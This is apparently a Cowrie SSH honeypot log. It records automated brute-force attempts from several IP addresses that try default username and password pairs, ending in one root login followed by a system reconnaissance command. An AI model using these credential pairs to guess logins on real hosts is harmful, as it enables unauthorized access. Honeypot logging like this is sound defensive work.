{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:16.626848Z","src_ip":"101.44.96.62","session":"7597cf21f986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:17.277937Z","src_ip":"101.44.96.62","session":"7597cf21f986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:18.497322Z","src_ip":"101.44.96.62","session":"7597cf21f986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":48976,"dst_ip":"159.203.135.109","dst_port":22,"session":"a75a9b113684","protocol":"ssh","message":"New connection: 101.44.96.62:48976 (159.203.135.109:22) [session: a75a9b113684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:29.848961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:29.853412Z","src_ip":"101.44.96.62","session":"a75a9b113684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:30.073890Z","src_ip":"101.44.96.62","session":"a75a9b113684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:30.725416Z","src_ip":"101.44.96.62","session":"a75a9b113684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:31.945448Z","src_ip":"101.44.96.62","session":"a75a9b113684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40048,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dc3c56f4ec5","protocol":"ssh","message":"New connection: 101.44.96.62:40048 (159.203.135.109:22) [session: 1dc3c56f4ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:43.329510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:43.334141Z","src_ip":"101.44.96.62","session":"1dc3c56f4ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:43.551713Z","src_ip":"101.44.96.62","session":"1dc3c56f4ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:44.202284Z","src_ip":"101.44.96.62","session":"1dc3c56f4ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:45.422970Z","src_ip":"101.44.96.62","session":"1dc3c56f4ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":49846,"dst_ip":"159.203.135.109","dst_port":22,"session":"91b16310e3c5","protocol":"ssh","message":"New connection: 101.44.96.62:49846 (159.203.135.109:22) [session: 91b16310e3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:56.834177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:56.837250Z","src_ip":"101.44.96.62","session":"91b16310e3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:57.053113Z","src_ip":"101.44.96.62","session":"91b16310e3c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:57.704232Z","src_ip":"101.44.96.62","session":"91b16310e3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:58.924550Z","src_ip":"101.44.96.62","session":"91b16310e3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60274,"dst_ip":"159.203.135.109","dst_port":22,"session":"b21a5b476ccc","protocol":"ssh","message":"New connection: 101.44.96.62:60274 (159.203.135.109:22) [session: b21a5b476ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:10.294027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:10.298040Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:10.516044Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:11.167707Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:11.640943Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:11.644251Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:11.865784Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:11.870854Z","src_ip":"101.44.96.62","session":"b21a5b476ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39764,"dst_ip":"10.17.0.5","dst_port":22,"session":"6105d2addbbe","protocol":"ssh","message":"New connection: 2.57.122.238:39764 (10.17.0.5:22) [session: 6105d2addbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:15.851955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:15.856609Z","src_ip":"2.57.122.238","session":"6105d2addbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:15.957414Z","src_ip":"2.57.122.238","session":"6105d2addbbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:16.260325Z","src_ip":"2.57.122.238","session":"6105d2addbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:17.364112Z","src_ip":"2.57.122.238","session":"6105d2addbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50790,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b1fd04ca57","protocol":"ssh","message":"New connection: 101.44.96.62:50790 (159.203.135.109:22) [session: f1b1fd04ca57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:23.784044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:23.788053Z","src_ip":"101.44.96.62","session":"f1b1fd04ca57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:24.007147Z","src_ip":"101.44.96.62","session":"f1b1fd04ca57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:24.657973Z","src_ip":"101.44.96.62","session":"f1b1fd04ca57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:25.885105Z","src_ip":"101.44.96.62","session":"f1b1fd04ca57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59288,"dst_ip":"159.203.135.109","dst_port":22,"session":"c58a57e9ff67","protocol":"ssh","message":"New connection: 195.178.110.218:59288 (159.203.135.109:22) [session: c58a57e9ff67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:32.894908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:32.899226Z","src_ip":"195.178.110.218","session":"c58a57e9ff67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:32.979029Z","src_ip":"195.178.110.218","session":"c58a57e9ff67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:33.218675Z","src_ip":"195.178.110.218","session":"c58a57e9ff67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:34.301976Z","src_ip":"195.178.110.218","session":"c58a57e9ff67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46604,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa253d432fb2","protocol":"ssh","message":"New connection: 101.44.96.62:46604 (159.203.135.109:22) [session: aa253d432fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:37.185643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:38:37.190831Z","src_ip":"101.44.96.62","session":"aa253d432fb2","protocol":"ssh"}
